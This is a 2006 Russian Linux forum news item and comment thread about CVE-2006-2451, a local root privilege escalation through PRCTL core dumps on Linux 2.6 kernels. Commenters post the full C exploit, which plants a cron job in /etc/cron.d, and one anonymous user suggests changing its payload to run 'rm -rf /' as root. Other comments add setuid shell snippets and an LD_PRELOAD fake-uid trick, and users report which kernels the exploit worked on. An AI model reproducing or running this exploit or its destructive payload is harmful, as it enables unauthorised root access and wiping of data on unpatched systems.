LINUX.ORG.RU

Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit


0

0

RoMan SoFt Labs выпустили Proof of Concept уязвимости CVE-2006-2451

Эксплоит позволяет повысить привилегии простого пользователя системы до root на ядрах версий 2.6.13 и выше. Данная уязвимость исправлена в последнем ядре 2.6.17.4.

>>> Подробности



Проверено: Shaman007 ()

Ответ на: комментарий от WFrag

А, и еще. Если твой euid=0, то не означает ли это, что ты можешь использовать setuid для установки real id в любое значение?

WFrag ★★★★
()

Вот и свершилось незапланированное ритуальное самоубийтсво учестнегов ЛОРа. Далай ЛАМА Наисветейший(он же JB) дал отмашку rm -fr / после сплоита и много падаваноф (анонимусоф и участнегов ЛОРа) убили свои хомяки,бд,etc после чего получили сердечные приступы и все отправились на тот свет....

Metallic
()
Ответ на: комментарий от WFrag

>А, и еще. Если твой euid=0, то не означает ли это, что ты можешь использовать setuid для установки real id в любое значение?

Тогда бы и su работал. Проще в passwd и shadow руками поправить ;-)

Metallic
()
Ответ на: комментарий от Metallic

>> Вот и свершилось незапланированное ритуальное самоубийтсво учестнегов ЛОРа. Далай ЛАМА Наисветейший(он же JB) дал отмашку rm -fr / после сплоита и много падаваноф (анонимусоф и участнегов ЛОРа) убили свои хомяки,бд,etc после чего получили сердечные приступы и все отправились на тот свет....

алилуя!!!

Ex ★★
()
Ответ на: комментарий от WFrag

Да, означает. Т.е запустив код: 

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    setuid(0);
    system("/bin/sh");
}

ты получишь настоящего рута.

WFrag ★★★★
()
Ответ на: комментарий от Metallic

su, сцуко, хитрый - он проверяет. Я специально исходник смотрел :)

WFrag ★★★★
()
Ответ на: комментарий от WFrag

так точно. Как говорит о Великий ман:

DESCRIPTION setuid sets the effective user ID of the current process. If the effective userid of the caller is root, the real and saved user ID's are also set.

anonymous
()
Ответ на: комментарий от WFrag

всем курить маны!!!

setuid sets the effective user ID of the current process. If the effective userid of the caller is root, the real and saved user IDs are also set.

Ex ★★
()

ALTLinux

ls: /etc/cron.d: Permission denied

;-)

anonymous
()
Ответ на: комментарий от kayak

>Ребята, уже не первый раз режет глаз прЕвелегии (правильно прИвелегии)...

ПрИвИлегии, умник =)))

MYMUR ★★★★
()

работает, 2.6.16.9, Debian 3.1

Внимание, работает, по-моему, только со стандартным cron

У меня fcron - ничего не произошло, появился файл /etc/cron.d/core, но /tmp/sh не появлялся до тех пор, пока не запустил обычный cron

s-max
()

М-дя... дети учите мат часть ;-) Вот вам еще урок,

если файлик вот такого содержания

-------------------------------

int getuid() { return (0); }

int getgid() { return (0); }

int geteuid() { return (0); }

int getegid() { return (0); }

-------------------------------

собрать вот так

gcc -shared file.c -o file.so

А потом заюзать вот так:

LD_PRELOAD=./fake.so /bin/sh

Тоже получите рута ^_^

Metallic
()

Интересная идея. Получается, что cron в любом бинарном мусоре (в корке, в данном случае) способен найти строчки, напоминающие cron entry, и выполнить их. Т.е. ошибка не только в ядре (она позволяет сделать core dump в /etc), но и в кроне - он не особо-то и проверяет формат крон файла.

kmike ★★
()

ребят, вы кое-что не учли... крон выполняет содержимое корки (предварительно найдя там нужную строку) от рута. дальнейшие комментарии излишни, надеюсь?

wwww
()

в *bsd (я про sys, а не компоненты) такого я не припомню.

soko1 ★★★★★
()
Ответ на: комментарий от s-max

так ты имел в виду, что с fake.so рут все-равно не настоящий? тогда прошу прощения.

hatefu1_dead
()

радует то, что на rhel 4 update 3 не работает (наверное, потому что ядро 2.6.9-34.ELsmp, хотя суидный /tmp/sh был создан)

hatefu1_dead
()
Ответ на: комментарий от darkden

> в debian stable такова ядра(2.6.14.7) нету

это самосбор, разве не видно?

JB ★★★★★
()
Ответ на: комментарий от Metallic

> О боже!!!!!!!!! Правильно Jackill сказал "4 дебила за сутки".... тока он числом ошибсяяя...... > Я могу сделать скрипт в tmp и скормить его sh и никакие nosuid noexec вас не спасут :-]

Сэр Джекилл действительно ошибся, скриптец хоть об-суидь - права пойдут от процесса /bin/bash и юзера, а не от самого скрипта ;)

Gharik
()
Ответ на: комментарий от hatefu1_dead

> радует то, что на rhel 4 update 3 не работает (наверное, потому что ядро 2.6.9-34.ELsmp, хотя суидный /tmp/sh был создан)

вообще-то вот:
https://rhn.redhat.com/errata/RHSA-2006-0574.html

так что обновись лучше до 2.6.9-34.0.2

ksicom
()

Слака - 2.6.10 - не работает. Патрик любит нас

Orlangoor ★★★★★
()
Ответ на: комментарий от hatefu1_dead

>радует то, что на rhel 4 update 3 не работает (наверное, потому что ядро 2.6.9-34.ELsmp, хотя суидный /tmp/sh был создан)

Это значит, что работает, нечему радоваться. Просто нужно эксплойт немного переписать.

alt-x ★★★★★
()

Ппц... лор жжот мля. "Не работает"... нуну... даже я зная C только на зачаточном уровне понимаю что эксплоит рабочий. egid фигня им, причем здесь это вообще? Дело не то, что suid sh может ничего не дать, дело в том что sh скопировали в /tmp, сделали chown root, и chmod +s. Этого не достаточно?
Нате вот это попробуйте:
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char
*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/
usr/sbin:/usr/bin\n* * * * *   root   wall L.o.r debils prove of concept ; rm -f /etc/cron.d/core\n";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. 3 minutes (** please wait **)\n");
    sleep(180);
}

Если у вас и это не эксплоит, то меняйте строку
char
*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/
usr/sbin:/usr/bin\n* * * * *   root   wall L.o.r debils prove of concept ; rm -f /etc/cron.d/core\n";

на
char
*payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/
usr/sbin:/usr/bin\n* * * * *   root   rm -rf /\n";

anonymous
()
Ответ на: комментарий от anonymous

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/
usr/sbin:/usr/bin\n* * * * *   root   wall L.o.r debils prove of concept ; rm -f /etc/cron.d/core\n";

Одной строкой

anonymous
()
Ответ на: комментарий от Gharik

>Сэр Джекилл действительно ошибся, скриптец хоть об-суидь - права пойдут от процесса /bin/bash и юзера, а не от самого скрипта ;)

Ты читать умеешь? Так вот если не умеешь попроси прочитать тебе следующее: В сообщении говорится про то чтобы скормить скрипт, т.е. "/bin/sh /tmp/script.sh", а не "/tmp/script.sh", что есть запустить скрипт!

*ОРАТЬ В УХО* Фбабруйск жывотнае!

Metallic
()
Ответ на: комментарий от anonymous

>Ппц... лор жжот мля. "Не работает"... нуну... даже я зная C только на зачаточном уровне понимаю что эксплоит рабочий. egid фигня им, причем здесь это вообще? Дело не то, что suid sh может ничего не дать, дело в том что sh скопировали в /tmp, сделали chown root, и chmod +s. Этого не достаточ

Алилуя!!! Среди нас прозревший! Возьми с полки пиражок!

P.S. Юстас Алексу "Анонимусоф ЛОРа не берут зомбирующие программы 3ьего рейха. Анонимусоф надо использовать их как основную ударную силу!"

Metallic
()
Ответ на: комментарий от Metallic

>> P.S. Юстас Алексу "Анонимусоф ЛОРа не берут зомбирующие программы 3ьего рейха. Анонимусоф надо использовать их как основную ударную силу!"

что то после карателя JB с rm -rf / тихо тут стало O_o

Ex ★★
()
Ответ на: комментарий от Ex

>что то после карателя JB с rm -rf / тихо тут стало O_o

Да здравствует Далай Лама Наисветейший....

Metallic
()
Ответ на: комментарий от anonymous

Не работает.

kbps@skynet ~/downloads $ ./a.out
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
kbps@skynet ~/downloads $ uname -a
Linux skynet 2.6.16-gentoo-r12 #1 SMP Sun Jul 9 21:18:46 VLAST 2006 i686 Intel(R) Pentium(R) 4 CPU 2.80GHz GNU/Linux
kbps@skynet ~/downloads $ ls -la /tmp/sh
ls: /tmp/sh: No such file or directory



kbps ★★★
()
Ответ на: комментарий от Metallic

Чё? у меня r12  там пофиксено это.
Поэтому и неработает.

kbps ★★★
()

ыыы...

почитал комментарии тех, у кого "не работает" и кто постит лог консоли.

Сплошные красноглазики кругом. Одни названия хостов для чего стоят :))

user@host artem@debian <-- крутой кадр. krum@localhost user@server <-- нормально, а чо :)

anonymous
()
Ответ на: комментарий от anonymous

> user@host artem@debian <-- крутой кадр. krum@localhost user@server <-- нормально, а чо :)

а чо тебя неустраивает карапуз? =) надо было "root@fbi.gov"?

JB ★★★★★
()
Ответ на: комментарий от JB

да все меня устраивает. Сразу видно, у кого система на домашнем компе со всеми дефолтовыми настройками и даже с дефолтовым username и computer name :)) Тех, у кого было root@localhost, уже убил отличный скипт на перле, который вы тут когда-то постили =)))

anonymous
()
Ответ на: комментарий от anonymous

> Сразу видно, у кого система на домашнем компе со всеми дефолтовыми настройками и даже с дефолтовым username и computer name :))

смешно если честно

вот обьясни мне, в чем прелесть витееватого и понтового хостнейма дома? все равно никто кроме тебя его не видит

JB ★★★★★
()
Ответ на: комментарий от kbps

> я каждый пост прочёл, между прочим.

тогда ты должен был знать что сплоит неработает на пропатченных гентушных ядрах, на кой было постить?

JB ★★★★★
()
Ответ на: комментарий от JB

Дело не столько в том, какой хостнейм и юернейм дома, а в том, какой народ в рабочее время в рабочий день сидит дома и тестит эксплоиты :))

anonymous
()
Ответ на: комментарий от anonymous

> Дело не столько в том, какой хостнейм и юернейм дома, а в том, какой народ в рабочее время в рабочий день сидит дома и тестит эксплоиты :))

всмысле те, у кого заслуженный отпуск? ;)

JB ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.